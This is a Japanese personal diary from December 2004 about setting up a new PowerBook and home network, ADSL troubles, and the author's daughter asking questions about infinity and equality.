CD からは 16倍速程度でデーターを吸い上げてくれるので、エンコード自体は一枚あたり 5分もかからないで終了するのですが、いやはややはり 30枚以上を入れたり出したりするというのはなかなか大変で、とってもとっても疲れたのでした(^^。
＃もともとは MP3 256Kbit エンコーディングだったのを AAC 192Kbit エンコードに
＃変更したので、ディスク使用量も 3G バイト程度に減少しました。

2004年12月26日(日)

無線光学式マウス
大分慣れてはきたのですが、赤ぽっちんと違って PowerBook のマウス...じゃなくってトラックパッドの使い勝手がいまいち良くないのです。正確に位置を指定するのが難しいのと、左手がボタンに触った状態で、右手でカーソルを動かそうとすると、まるで殺虫剤をあびたハエのごとく、カーソルが画面を飛び回ってしまう場合が多いのです。
そこで昨日コンサートに行く途中で、まあ PowerBook を買ったときのポイントもあるということで、新宿のビッグカメラに寄って Apple 純正の Bluetooth 無線光学マウスを購入したのです。
さっそくおうちに帰ってから試してみたところ、光学トラッキングの機構が実にすばらしく、でこぼこな場所とかズボンの上で使っても、カーソルが意思通りにちゃんと動くのです。というわけで、ふむふむこれは買って良かった、と思ってしばらく使っていたのですが、
接続が頻繁に切れるようになりました(-_-)
いやー、マウス使ってて突然切れて動かなくなるとほんとに不愉快ですよ～。なんか特にボタンをクリックした瞬間に切れる場合が多いような。しかも一度切れるとほとんどの場合、マウスの電源を OFF/ON しないと復旧しないのです。これでは使い物になりません。
むむむっ、これは不良品にあたってしまったのか、それとも電波ものだから所詮こんなものなのか。仕方ないので、試行錯誤したり PC 側でマウス状態を表示する画面を何回か見たのですが、そこに電池の残量を示す項目があり、最初まんたんだったマウスの電池がすでに半分位になっているではありませんか(笑)。そこで試しにマウスの電池を一度抜いてもう一回入れたところ、全然問題なく動作するようになりました。
どうも電池の接触不良だったようです。
問題点が解決してさえしてしまえば、このマウスは上に書いたようにどんな場所でも良好なトラッキングで使用できるという利点があるので、特におうちや会社で使用する場合は手放せなくなるかも知れません。ただし電池のランニングコストをある程度覚悟する必要がありそうなのが難点といえます。

2004年12月25日(土)

二女修学旅行から帰る
私が下の記事のコンサートを聴いていた 19時頃に帰宅したそうです。下の記事の事情にて、私抜きでみんなおいしいクリスマス料理を食べたそうな(^^;。
＃ちゃんととっていてくれました(^^。
江東区文化センターホールでのコンサート
意表のクリスマス当日のコンサートなのですが、充実したすばらしい内容でした。
今日一番感じたのは音楽の優しさや柔らかさで、いつもよりは広いホールの真ん中あたりの席でなかなか音響が良かったのと、久々にソロではなく合奏風のコンサートだったことが理由かなと思うのです。さらに、今年の猫森集会の狩野さんとの演奏や、今日の栗コーダーカルテットとの合奏を聴くと、浩子さんの歌と笛系の木管楽器はとても良く調和すると思うのです。
アンコールでは江東区の子供たちからなる合唱団と一緒に歌ったのですが、こちらもとても良い雰囲気でした。今日は体調があまり良くなかったのと、上の記事のよう事情もあるので、一瞬さぼろうかなという考えも頭をよぎったのですが(どうせソロじゃないし...)、やはり聴きに行ったのは正解だったのでした。
IEEE802.11g 無線 LAN 基地局届く
ですが代引きのお金がおうちになかったりしました(^^;。なので夕方にもう一度届けてもらうことに。さらに本日の夜はコンサートなので、設置は夜中かな。
結局アンテナがすでにあることと無難であるということで、購入したのは BUFFALO WLA2-G54 という製品でして、お値段は送料とか込みで 10,000円位です。前の機種とほとんど同じ外形なのですが、分解しなくてもアンテナをつなげれるのは改良点です。さっそくメンテ用の IP アドレスとか WEP キー・接続許可 MAC アドレスを設定したところ X24(IEEE802.11b) と PowerBook は問題なく繋がりました。 100M バイトのファイルを ftp で転送したところ、PowerBook と自宅サーバーとの転送速度が 3.1MByte/sec 程度で、たしか 11Mbps の時の実効速度は 800KByte/sec 程度だったので約 4倍の速度になったわけであります。まあこんなもんでしょう。
ところで問題は別室にある二女の PC の方でありまして、うかつにもSSID を変更したらなんかうまくゆかなくなり、これはこのときの症状と同じです。こちらは明日もう一度ドライバーをダウンロードして挑戦です。

2004年12月24日(金)

モカちゃんと無限

モカちゃんが算数の勉強をしていて、「円周が直径の 3.14倍というのは計るとそうなるというかそうい規則なのだろうけど、どうして面積は『半径x半径 x3.14』なの」なる質問をしてきたのです。おやおや今の学校ではそのあたりの理屈を教えないのかな。

というわけで例のごとく上の下手な絵の様に、円をみかん状に切って、それをジグザグに並べ替えた長方形もどきの図形を作成して説明をしたのですが、モカちゃんとしては、

長方形でなくていもむしみたいじゃん(^^。それにしても絵がへたくそだね～。

というしごく当然なる疑問の声を発したのです。まあへたくそなのはともかくとして、完全な長方形にならないのでは、という疑問には的確に答える必要がありますが、これがなかなか難しく、

私書くのが大変だから８つに刻んだけれどそれを大きくすればほとんど長方形になるでしょ

姫でもいくら細かくしても本当の長方形にはならないじゃん

私無限に細かくすれば本当の長方形になるんだ

姫でも完全な長方形にはならないよ

私無限だとなるよ

姫そもそも無限ってなによ

私どんな有限より大きいものを数と考えたもの

姫例えばどんな数なの。口で言えるの。一億の一億倍より大きいの？

という風になかなか議論が収束しません。ところがここで奥さまのすばらしいつっこみが入りまして、

モカちゃん。それが完全な長方形になると考えるのが算数や数学で、理科と違うところなの

ということで姫も少しは納得したらしいのです。ところが話はさらに続き、モカちゃんの疑問は、「それじゃ無限を数と考えるのはいいとしても、無限だから表現できないじゃない。どんな風に書くの」なる方向に向かいまして、数学の面白いところは無限を有限の記号で表現できることで、さらに

一番小さい無限を $\aleph_0$ と書くのだけれど、最近はアレフというと変な団体っぽいので $\omega_0$ の方が無難かな

といういう話をしたのです。すると予想通り「無限にも大きい小さいがあるの？」なるつっこみが入りまして、まあこのあたりの厳密な話は無理なのですが、無限にも順序付けが可能で、

2 を「普通の無限」回掛ければ「普通の無限」より大きくなるし、一般に無限を小さい順に $\omega_0,\omega_1,\omega_2,\cdots~$ という風に表現する

ということを話したのです。 $2^{\omega_0}>\omega_0$ のことが分からないのと、説明不可能なのは当然なのですが、ここで驚いたのはモカちゃんの次の一言。

もしかしてそれも無限に続いて ${\omega}_{\omega_0}$ なんていうのも作れるんじゃないの

いやはやこれを思いつくとは驚きました。さらに、 ${\omega}_{{\omega}_{\omega_0}}$ なる概念まで思いついたようで、なんか無限の階層の深さに対するちょっとした直感があるようなのです。最後に「こんなのいくら考えてもきりがないじゃない」ということになったのですが、こういう「きりがない」表現を「美しく」行うこと自体がこれからまだ発展の余地があるし、具体的に記述可能な無限のはるかかなたに、さらにとんでもなく大きい「到達不可能基数」というものがあると信じられている、などという話をしたのですが、さすがにこのあたりは難しかったようでした(^^。

2004年12月23日(木)

さよならパールちゃん
二年近く生きてくれました。やすらかに眠りたまえ。
その後の PowerBook
購入して二週間程度経過してやっと落ち着いて使える状態になってきました。そこで感想などを。
実際に使っているのはブラウザ、kterm、emacs(含 mew)がほとんどで、 FreeBSD-i386 時代とあんまり変わってないのですが(笑)。現在までインストールした主なるアプリケーションを列挙いたしますと、
- FireFox
  Safari より機能は高いのですが、さくさく感や見栄えは Safari の方が良い感じ。気分に応じて使い分けています。インクリメンタルサーチの機能があれば Safari だけでも良いかもしれません。
- XFree86
  これは Apple が提供しているものです。
- kterm、emacs+mew、LaTeX、kinput2(Mac IM 対応)。なんのかんので emacs も kinput2 経由で「ことえり」を使うようになりました。さよなら Canna ちゃん...。
- OpenOffice
  思ったより役に立っています。
- Adobe Reader 7.0
  昨日あたりに最新版に更新されたそうな。
- Maxima、CLN 無限多倍長パッケージ等の趣味用プログラム群。
- w3m
  これは画像対応版が欲しかった(fink からインストールしたのは画像が出なかった)ので、オリジナルのソースをダウンロードして、自分でコンパイルしてインストールしました。
- netpbm,ghostscript その他よく使うプログラム群。
なお ghostscript はこちらに掲載されているパッケージが非常に日本語対応がよく、さらに付属のps2pdf,dvipdf の出力品質が良好なので便利に使わせていただいております。
こうしてみると、コンピューターを使用している時間のほどんどを見たり書いたりに費やしていることがわかります(^^。
肝心の使い勝手ですが、ほとんどのプログラムは fink を使用すれば何も考えずにインストール可能なのですが、日本語関連のものはうまく動作しない場合も多いようです。その場合 EasyPackage を使用すればうまくゆく場合が多いのですが、依存関係が独立に存在することになり、管理するのがやや面倒であることは否めません。今のところ EasyPackage を使用したのは LaTeX と kinput2 だけだったと思います。
さすがに FreeBSD の ports に匹敵する便利さはないのですが、UNIX マシンとして十分使用できることを実感しましたし、さらに MAC OS X ネィティヴの非常に見栄えが良いソフトウエアーも使用できるので、新規マシンとしての選択としては最良だったと思います。
それから、この日記の記述環境ですが、実は昨日まで MAC OS X 付属の apache でうまく表示できなかったのです。仕方がないので
- CVS で日記をサーバーから持ってきて(cvs update)PowerBook で編集
- コミットする
- 旧記述環境である X24 にログインして cvs update
- X24 の w3m とかでチェック
- X24 から旧来通り R30 へアップロード
などという面倒な手順を踏んでいたのです。これではあまりにも不便なので、本日もう一度 apache の環境を見直したのですが、httpd には問題がなく CGI もちゃんと動いているのですが、なんか PHP の動作が変なのです。むむむっ、そういえば昔おんなじような現象ではまったことが(^^...、ということを思い出しまして調べてみると、/etc/php.ini.default なるファイルがありまして、それに記述されていたのが、
register_globals = Off (^^;
だったのでした。いやはやこれは PHP 使いの人にとっては最初のチェック項目だと思うのですが、私は人様のをまねする程度しか知らないので、すっかり忘れていました。まぬけとしか言いようがありません(^^。
というわけでやっとこ日記の環境もまともになりましてこれを書いているのですが、果たしてちゃんとアップロードされるのかどうか。この日記がちゃんとアップされていれば成功したということになります。
余談ですがほとんどの管理作業に関して /etc/ のファイルを直接いじってもうまくゆきません。場合によっては重大な不整合が発生する原因にもなりそうです。管理作業は NetInfo Manager なるツールを使用するのが「正しい方法」らしいのです。ただし今のところ全然使い方が分からないので、昨日会社の N さんに教えていただいた、プログラミング MacOS X for Unix Geeks なる本を注文したのであります。

2004年12月22日(水)

二女の修学旅行
今日から二女の修学旅行だったりします(^^。正式には修学旅行ではなく「研修旅行」なる名称なのだそうですが、まあそんなことはどうでも良く、みんなで遊びに行くのです。
行き先は南の方の島なのですが、今日は鹿児島に泊りだそうな。こんな時期に修学旅行をやるのも珍しいと思うのですが、実は事前の希望により夏組みと冬組に分かれ、夏組の生徒達は北海道行ったのです。
いずれにしても旅行から帰ってくるとそのまま冬休みに突入でして、いやはやなんとも優雅な高校生活を送っているのであります。

2004年12月21日(火)

AH-K3001V カイロ
通勤電車を待っているとき、AH-K3001V で WWW をうろついてて、電車が来たので待ち受けモードに戻ろうとしたのですが、全く反応がなくなりました。購入してから固まったのはこれで二回目なのですが、そのときの例からして、ほっとけばウオッチドッグが働いていずれ待ち受けに戻るであろうと、そのまま胸ポケットに入れて電車に乗り込んだのです。
で、例のごとく電車の中で朝寝をしまして、50分後もうすぐ降りる駅に到着という頃に目を醒ますと、やけに胸のあたりが温かかったのです(^^。
どうも本日は自動復帰しなかったようです。
しかたないので、裏蓋を開けて電池の線を抜き差しして、正常な状態に戻したのですが、いやはや前回の例からてっきりウオッチドックが働くのかと思っていたらそうではないようで...。というわけで、この機種は PHS 通信以外にカイロとしても使用可能であることが実証されたのですが、電池がきわどい状態になっていたので、現在会社で USB 充電をしてるのでありました(^^。

2004年12月20日(月)

モカちゃん音声チャットを始める
もうすぐピアノ教室のクリスマス会があるのですが、モカちゃんは何人か習っているお友達と共同で、プログラムとか色々な資料を作る係になったのです。そこで、ピアノの先生のご提案がありまして、打ち合わせを円滑に行うため、こちらの Skype なるものを利用することになったのです。ライブドアってのがちょっとひっかかるのですが(笑)、まあ先生のご提案となれば断るわけにもいかず、近くの電気屋さんで1,500円位のマイク付きのヘッドフォーンを購入して、さらに上のリンクページからプログラムをダウンロードして設定してみたのです。
PC どうしのチャットに使用する場合無料なので、色々な個人情報を入力する必要があるかと思っていたのですが、名前はハンドルネームみたいなのでよさそうですし、その他の情報もメールアドレス以外は特にいれる必要はありませんでした。というわけで、さっそく先生のところと繋げてみたところ、簡単に接続しておしゃべり可能な状態になりまして、いやはやこれは思ったより便利なものです。
うーむ、私などはこういう無料サービスはなんとなく「あやしい」感じがしてあんまり使いたいと思わないのですが、こういうのは中途半端にコンピューターの知識がある人よりも、一般の人の方が柔軟に使いこなしている様な気がします。
＃おうちではモカちゃんが PC を一番使いこなしてるかも(^^。

2004年12月19日(日)

IEEE802.11g の誘惑
実はおうちの無線 LAN 基地局を現在の 11Mbps 位の速度の IEEE802.11b 規格のものから 54Mbps の IEEE802.11g に変更したいと考えているのです。理由としましては、
- PowerBook を購入して作業部屋のネットワークに繋げようとしたら、HUB のポートが足りなかった(^^。部屋には 5 ポートの安物ハブがつながっているのですが、
  - ADSL モデムやご家族さま PC 置場ハブへのアップリンク
  - R30 ADSL 側
  - R30 自宅側
  - 無線 LAN Ethernet 側
  - X24
  ということで、まさか 5 ポート使い切るとは思っていませんでした。
- PowerBook はおうちで初めての IEEE802.11g 規格のインターフェースを持つマシンなのでどんな感じか体験してみたい。
- そもそも PowerBook に Ethernet の線をつなぐのはかっこよくない。今は IEEE802.11b で通信していますが、インターネットとの接続では不本意ながら問題ないとはいえ、PC 間のファイル転送等では劇とろ感があったりします(^^。
- 二女の部屋の PC とは現在 IEEE802.11b で通信しているが、IEEE802.11g のハブは上位互換だそうなので、こちらは問題なさそうである。
等なのです。問題はどのメーカーの機種にするかなのでして、BUFFALO の無線 LAN 関連機種ははずればっかりなのでやなのですが、アンテナを持っているという利点があります。ただし人様の情報によりますと他のメーカーの無線 LAN ハブはBAFFALO のより電波が強い場合が多いということなので、どうしようか悩みはつきないのでありました。

2004年12月18日(土)

クリスマス会
今日は谷山浩子さんファンの人が集まるクリスマス会ということで一日楽しんでまいりました。

2004年12月17日(金)

PowerBook 印刷環境
おうちのプリンターは Canon BJ S600 という今となってはかなり時代物という感じのもので、ご家族様 PC の USB ポートに繋がっていて、このプリンターに PowerBook から Windows 経由で印字したいのです。さっそくキヤノンのホームページを調べると、ちゃんと MAC OS X 用のドライバーが置いてありまして、インストール自体は問題なく終わったのです。
ところがいくらネットワーク印刷の設定をしてもうまくゆかないのです。もちろんご家族さま PC の方ではプリンターを公開するという設定にしたのですが、 Mac の方からは全然見えなかったりします。キヤノンのドキュメントを見ると「ネットワーク印刷には対応していない」と書いてあるのでそのせいなのかな。でも USB 経由での印刷ドライバーが存在するということは、 PostScript をプリンターのストリームに変換するフィルターは存在するはずで、あえてネットワークの場合には印字出来なくする意味が分りません。
それから、確か Samba 印刷というものがあったはずで、これは Windows Bitmap 形式ストリームをサーバー側に送り込めば良いと記憶しているのですが、こちらもいまいちやりかたが分らなかったりします。うーむこれは案外難航しそうな雰囲気...。当面は印字したいファイルを PDF 化して Windows 側に転送して印字するしかないのかも知れません。

2004年12月16日(木)

大失敗だった ADSL ヴァージョンアップ
本日モデムが到着したので早速繋げてみたところ、上りはちょっと速くなり 864Kbps になったのですが、下りがなんと 2.4Mbps しか出ません。実は昨日あたりから MNIII でも 2.8Mbps から突然 2.4Mbps に減速していたので、やな予感はしたのですが、いやはや今回は今までにない大失敗でした。さすがに減速の度合があまりにも極端なので、一応 NTT に調査を依頼するつもりではありますが、まあだめだろうな。
体感速度は変化なかったりします(涙)

2004年12月15日(水)

ちっともこない ADSL モデム
今日届くはずだったのですが、天下の NTT さまどうしたの～(^^。

2004年12月14日(火)

等号ってなーに
というモカちゃんの質問なのですが、いやはやこれはなかなか難しい...。一般に等号に要求される性質として良く知られているのは、
- $x=x$
- $x=y~\rightarrow~y=x$
- $x=y~\wedge~y=z~\rightarrow~x=z$
あたりだと思うのですが、これは等号というより「同値関係」の定義です。もっと重要な性質としては、
$\phi$ を任意の論理式とするとき $x=y~\rightarrow~[\phi(x)~\leftrightarrow~\phi(y)]$
$F$ を任意の関数式とするとき $x=y~\rightarrow~F(x)=F(y)$
が成立することが「等号」たる必要条件だと思うのです。おそらく上の条件を満たす二項関係式で、個別の理論により特徴づけられた「等号の定義」が存在しするような気がするのですが、そのあたりの正確な定義はいまいち良く分りません。もちろん集合論の場合、「外延性の公理」がそれにあたるのは分るのですが...。
というわけで、上のような事情を姫に説明するのは不可能でして、奥さまの応援をたのんだのですが、奥さまの説明によりますとそもそも等号とは、
同じ性質のものをひとまとめにして等しいと言う
とのことなのです。うーむ明解な...。これは子供にとっては最良の説明かもしれません(^^。
もちろんこの「定義」は、実質的に同値関係のことを述べているのですが、さらに「性質が対象を規定する」なる概念も含まれていると考えられます。奥さまの話によると、小学生の頃からこの様な認識を持っていたそうで、いやはやちっちゃい時からとっても論値的な感性が鋭かったようです(^^。

2004年12月13日(月)

フレッツ・ADSL モアIII 開通
どうも最近 MNIII の調子があんまり良くない気がするので、試しにおうちの ADSL を、公称値下り 47Mbps・上り 5Mbps のものに契約変更しました。
NTT からのメールによりますと本日開通予定だそうで、さらにアドレスのログを見ると丁度朝の 10時頃に変化しているので、間違いなく NTT 側の工事は完了しているようです。さっそくリンク速度を見ると若干の向上が見られるのですが、笑ってしまうのは、

実は先週金曜日到着のはずのモデムがまだ到着していない(^^

ということだったりします。まさかモデムを送り忘れて局内工事だけをするとは思わなかったので、昨日の段階では「まあもう少ししたら催促しようかな～」、と思っていたのですが、工事だけ行われたとなると配送上の手違いがあったと推測されます。
というわけで、さっそく NTT に連絡を行ったところ、非常に丁重に対応して頂き、「大きな袋に入った契約書類とモデムが届いていないでしょうか」ということなのです。そこで両方届いていないと話したところ、いまいち未到着の原因は分らないらしいのですが、とにかくもう一度配送手配をかけて下さるそうで、明後日頃に到着するそうです。
＃本日おうちに帰ったら、大きな袋に入った契約書類だけは来ていて、
＃こちらも笑ってしまいました(^^。

2004年12月12日(日)

一回休み

2004年12月11日(土)

PowerBook で AH-K3001V
もともと AH-K3001V の USB ポートの正式なドライバーは Windows のものしか存在せず、FreeBSD で動作していた時は umodem ドライバーという、汎用の USB モデムドライバーを使用していたのです。
もちろん今回 PowerBook を購入したときもこの点は考慮の対象となりまして、まあ本物の FreeBSD で動いていたのだから Darwin でも動くであろうとは推測できたのですが、これは割と重大な問題なのでめずらしく下調べしたのです。するとうれしいことに、やはり作って下さった方がいらっしゃるようでして、こちらのページに Mac OS X 用のドライバーが掲載されていたのです。
というわけで、ありがたくこれを使わせて頂くことにしまして、本日ダウンロードして実験を行ったのですが、上のリンクページの注意書き(特にモデムの種類...お約束のはまりが...^^)通りの手順で特に問題なく接続できたのです。これで有線・無線・Air"H 全部動作することが確認出来たわけで、やっとこどこでも使えるという準備が整った感じです。
さらにさすがに 1024x768 サイズの画面が一つでは不便なので、 Desktop Manager なるソフトウエアーをダウンロードして使い始めたのですが、これはなかなか便利でして、さらに今のところ変な挙動も示していないようです。

2004年12月10日(金)

PowerBook の BSD環境
なにはともあれ Emacs を動かすようにしないと Mew が使えないのですが、一見 gcc も入っていないようなので、会社で昔から Mac を使っている人に聞いてみたら、どうも Xcode なるディヴェロッパーズキットの様なものをインストールする必要があるそうな。さらにそのインストールイメージは初期状態のハードディスクに入っているはずということなのです。
さっそくおうちに帰ってから探してみたら CDROM 一枚程度のサイズのものがちゃんとありました(^^。というわけで、やっと gcc が使える様になったので、今度は良く使うアプリケーションのインストールなのですが、その前にこちらの情報によりますとなんと Xcode のインストールにより CPU の 2次キャッシュが OFF になる場合があるそうで、確認してみたら本当に OFF になってました(^^。いやはやこれでは半分の速度も出なくなってしまいます。さっそくリンク先に書いてある方法で、なにやら良く分らない
/Developer/Applications/Performance Tools/CHUD/CHUD Updater.app
なるもので更新作業を行ったところ、ちゃんとキャッシュを使うようになったのです。
アプリケーションの話に戻りまして、有名なパッケージとしては、 fink というものと、特に日本語関係に特化した EasyPackage というものがあるらしく、実際試してみると一般的なものに対しては fink が沢山のパッケージを持っていて便利そうで、EasyPackage の方はなにも考えずに有名どころの日本語パッケージを導入できるあたりが便利そうです。実際には何回か試行錯誤したのですが、
- Emacs,LaTeX の様に本質的に日本語が重要な場合 EasyPackage の方が楽そうである。
- その他に関しては、汎用性と量の多さで fink が便利そう。
- EasyPackage から導入されたアプリケーションは /usr/local/ 以下にインストールされ、fink により導入されたアプリケーションは /sw/ 以下に入る。
あたりの特徴が分ってきまして、両方を使用するのは lib ディレクトリーの消費を考えると無駄ではあるのですが、とにもかくにも必要なアプリケーションを動作させる必要があるので、当分は共有体制で運用する予定です。

次の問題は X11 で使用する日本語のフロントエンドに関してなのですが、もちろん Mac Native な環境で動作するアプリケーションについては、デフォルトの「ことえり」なるものを使用すれば良く、さらに Emacs でもそれを使用することが可能なのですが、いまいち使い勝手が良くありません。私はあんまり変換効率を気にしない人なので、この場合現行では「かんな」の方が汎用性等の面から考えても良さそうな気がします。
そんなわけで、やっとこメールとブラウザが使える環境になったのですが、いやはやこちらのマシンで日記を書く環境を作成するのはなかなか大変そうです。おそらくお正月位までは X24 にログインして書くことになりそうです。
＃マウスを操作しようとするとき思わず H,J の間の赤いのを探してしまいます。

2004年12月9日(木)

始めての PowerBook
本日は電車が不通になりまして横浜経由で出社したのですが、横浜で相鉄線から JR に乗り換えるためちょっと駅の外に出たところ、ビッグカメラがありまして、そういえばもう ThinkPad も終わってしまったのだなー、と思ったらふらふら～とお店の中に(^^。
購入したのは一番ちっちゃい PowerBook でして、5,000円位追加してメモリーを 512M バイト足して(全部で 768M)お値段が 20万円位。ポイントが 10% なので実質 18万円位です。
ちょっと会社でいじってみたのですが、まだブラウザ以外の使いかたは分りません(^^。この環境で FreeBSD 的な使いかたをするにはまだまだ調査するべきことが沢山ありそうで、そのあたりは今度の土日に行う予定です。しばらくの間会社に持っていくマシンは X24 のままになりそうです。

2004年12月8日(水)

さよなら ThinkPad
あっというまに IBM の PC 部門売却が決まってしまいました。しばらく ThinkPad の名称は残るようですが、売却された ThinkPad もどきなんて今後購入の候補にはなりえません。そもそも現在の品質を保つことが出来るかどうかも大いなる疑問だと考えます。
もちろん今使っている X24 には何の問題もないのですが、売却のニュースを聞いてから、使う喜びがほとんどなくなってしまいました。あんまり自覚していなかったのですが、もしかして私って超ブランド指向(^^。
というわけで明日の日記に続きます。

2004年12月7日(火)

生茶パンダその後
会社で生茶を買って、そういうのが好きそうな女性にパンダグッズを差し上げているのですが、まだまだ全種類制覇への道は遠そうです。ところで、昨日奥さまが2リットル入の大きい生茶を買ってきたのですが、なんとそのおまけが驚くなかれ「シークレットヴァージョン」だったのです(^^。
というわけで、「明日はおおいばりでシークレットを渡せるな～」なんてしゃべっていたのですが、その様子をモカ姫に察知され、その場で没収ということになってしまったのです(^^。

さらに今までかなりの個数を差し上げたことまでばれてしまい、
えー、私にくれないで他の女の人にあげてたの～。ふりんだふりんだ(^^。
ということで、まったく恥ずかしいのですが、すでに重複したパンダは回収し、さらに今後新しいのがすでに差し上げたものと重複した場合、モカちゃんに進呈することになったのでした(^^。
＃12月8日追記～全部揃いました～(^^。

2004年12月6日(月)

またまた激とろ ADSL
最盛期は 3Mbps を記録したおうちの ADSL ですが、この半年間位長期低落傾向でして、一月くらい前頃は 2.7Mbps 位まで落ちて、さらにここ二週間位は 2.5Mbps という絶不調状態に陥ったのです。
いやいや、いくらなんでも季節変動にしては調子が悪すぎる、ということで一度電源を落として入れ直し、もう一度リンクを確立しても事態は改善しません。さらに最近の IP アドレスのログを見ると、その前は 3ヶ月位リンクダウンがなかったのに、ここ 2週間位でかなりの回数発生しているのです。
ところで良く考えてみると、この症状はこのときとおんなじなのです。というわけで、試しに ADSL モデム(MNIII)のイーサネット側をハブの別の口に挿し直したところ、なんとリンク速度が 2.84Mbps に回復したのです。いやはやなんと言いますか、最近の安物スイッチングハブはすぐにコンデンサーかなんかが劣化して、ノイズを出しやすくなるのかな。さらに MNIII はいくらなんでもイーサネット側のノイズに弱すぎる感じがします。
そうは言うものの、また新しいハブを買うのもなんかもったいないし、どうしたものか悩みはつきなかったりするのです。
＃ねたを兼ねて MNIII とさよならするという選択肢も...(^^。

2004年12月5日(日)

ご家族さまマシンに Cygwin
新しいご家族さま PC の調子がなかなか良く、割と使う頻度が高いのですが、やはり UNIX もどきの環境があると便利かな～、と考えたりして Cygwin の導入です。Cygwin はご存知の方も多いと思いますが、UNIX もどきシステムコールを Win32 API に委譲する基本部分と、それを使用する(基本的には UNIX 互換の)プログラム群からなります。さらに Cygwin の良い所は、導入したディレクトリーで完結していまして、Windows の他の部分に影響がないと思われる点でして、例えばアンインストールするには、導入したディレクトリごとごみ箱に入れてしまえば良いのです。
導入の方法は簡単でして、上のリンクから Setup.exe を持ってきて、それを実行するとインストールメニューが表示されるので、それに従えば良いのです。ただしネットワークインストールメニューを選ぶと、インストール中に DLL が存在しない等のエラーが表示される場合があるようですので、最初に全部のパッケージをダウンロードして、その後「ローカルファイルから導入パッケージを選択」するのが良いらしいです。
別にご家族さま PC で gcc を動作させるつもりもなく、さらにローカルの emacs は日本語入力の設定が面倒そうなので、とりあえず X サーバーとして動作させてみたのですが、
FreeBSD 側の emacs クライアントが頻繁に落ちるのです(-_-)
いやはや他のアプリケーションならばともかく、編集を行う emacs が落ちてしまっては使いものになりません。というわけで色々調べたところ、ssh の X forwarding を使っていると問題があるようでして、telnet で FreeBSD 側にログインすれば問題がないようなのです。
最近は ssh 系を使うことが多く telnet,ftp,rsh は時代遅れで危険という感じは否めないのですが、無線で通る経路もないので、自宅以外からのアクセスを禁止しておけば、これらの使用も特に問題はないと思われます。

いずれにしても「まともな」ssh や telnet で FreeBSD マシンに入れるのはなかなか便利でして、さらに emacs が「見栄え良い」状態で使用可能なのもポイントが高かったりします。ついでに FreeBSD 側の firefox なんかも表示させてみたりしたのですが、100BaseT の回線ですとこちらも使いものになりそうです。ただしキーバインドを除けば、速度や使い勝手は Windows 側 firefox 方が良い場合が多いので、今後あえて FreeBSD 側のものを Windows で表示させてを使うことはなさそうです。

2004年12月4日(土)

Re: ブックマークのススメ
私もまねしてみました(^^。ふむふむこれは確かに便利です。昨日 X24 を会社に忘れてしまったので、ご家族さま PC と結局 firefox をインストールした R30 でしのいでいたのですが、ブックマークになんにも登録されていなかったのが不便だったのです。
まねをした方法としては、
1. たかたにさんのリンクページをもらってきて <link.rel=...> を切り出して、自分の link.html を作成する。このページの body は空っぽでも良い(本当に空っぽになってます)。
2. bookmark.php をもらってきて「たかたに」という文字列を「かがみ」で置換する。さらに http://toriyu.dd.que.ne.jp/... の部分を http://evariste.jp/... に置き換える。
3. bookmark.dat をもらってきて、その形式をまねして良く遊びに行く場所を登録する。
ということでして、まねというより自分ではなんにもしなかったというのが正しい表現の様に思えます(^^。
後は link.html を開いて firefox の右下のオレンジぽっちんを押してブックマークに登録すれば共有方式ブックマークの完成です。おうちに導入前はいまいち firefox が RSS を参照にゆくタイミングが分からなくって、tcpdump なんかで調べていたのですが、apache のログファイルを見ると起動後最初にブックマークを開こうとした時、もしくは一時間に一度参照に行くようです。
いずれにしてもとても便利な環境になりました。どうもありがとうございます(^^。

2004年12月3日(金)

X24 を忘れる
いやはや会社に X24 を忘れてきてしまいました。来週の月曜日までしばしのお別れです。まあ R30 やご家族さま PC があるので、メールや WWW 巡回には不自由しないのですが、土日はほんとに数学の勉強でもして過ごすしかないかも知れません。
R30 に firefox をインストールするべきかが悩ましいところで、さらにこの日記のマスターファイルは X24 側にあるので、月曜日に上書きしないよう注意する必要もあります(^^。
生茶パンダにはまる
会社のビルにお店屋さんがあってたまにお茶を買うのですが、100円と 130 円の二種類ありまして、100円の方はいかにも売れてなさそうなあんまりおいしくないものなのです。ところが 2週間程前から 100円の方に「キリンの生茶」が置いてあるようになりまして、このお茶は割と好きなので、ちょくちょく購入するようになったのです。
さらに最近「生茶」にはパンダグッズがおまけについていまして、これが全部で 5種類 + シークレット 1 ということで合計 6種類あるのです。
そこで、会社の中で「こういうグッズ集めが好きそうな女性はだれかな～」と聞いて回ったところ、H さんが割と好きという話を聞きまして、お茶を買うごとにパンダを H さんに進呈することになったのです。ところが封を開けて前にに差し上げたのと同じパンダが出てくると、H さんは「あっ、これ前のとおんなじのだ...」と、とってもとっても冷たい声で言うのです(^^。
むむむっ、このひんやりとした気まずい雰囲気は...。私は全然悪くないと思うのですが、なんか怒られているような気になってしまいます(^^。というわけで、おんなじパンダが出てくると一日二回お茶を買いにいったりして、なんとか 4種類まで差し上げたのですが、6種類制覇はなかなか大変で、さらに「シークレット」までということになると、これは不可能に近い感じがします。いずれにしてもまだまだ散財が続きそうな予感がするのです(^^。

2004年12月2日(木)

勉強不足
先月は土日のイヴェントが多く全然数学の勉強をしていなかったりします(^^。
そろそろ勉強しないとな～、と思ってはいるのですが、はてさて今月は師走ということでなかなか忙しく、気力がわくかどうか微妙なところです。そして最大の問題は、ここ数年「ニワトリの記憶力」状態なので、一月位勉強をさぼっていると前のことをほとんど忘れてしまうということなのです。
そうはいうもののこのページに数式が一つもない、という状況は個人的にはちと寂しい気がします。さらにせっかく「無限をある程度認識できるらしい」という、信じられないほど幸運な星のもとに生まれてきたのですから、今後自分の能力が及ぶ範囲でこれらに関して知りたい、という願望は強いのです。
というわけで今度の土日あたり、久々に数学の本をめくってみようかと思っているのですが、それを自分なりに消化して「ねた」にするのは存外体力と時間が必要なので、はてさてどうなることやら全く先が見えません。
＃趣味の数学というのは一度それなりの本を買ってしまうと、何回も忘れて
＃読み直すので長時間楽しめます。なのであんまりお金がかからないという
＃利点があります(^^。

2004年12月1日(水)

LUMIX 営業
えーっと、AH-K3001V や ThinkPad の営業で多大なる成果を上げたことがあるのですが、今回は Panasonic のデジカメ LIMIX シリーズの営業です。昨日女性が二人並んでいる席ところに遊びに行って話をしていたら、なんとお二人とも最近 LUMIX シリーズのデジカメを購入されたそうで、一人の方は最近発売されたちっちゃいのを購入ということで、さほど驚かなかったのですが、もう一人の方はなんと値崩れしていた LUMIX FZ10 を購入されたそうな(^^。
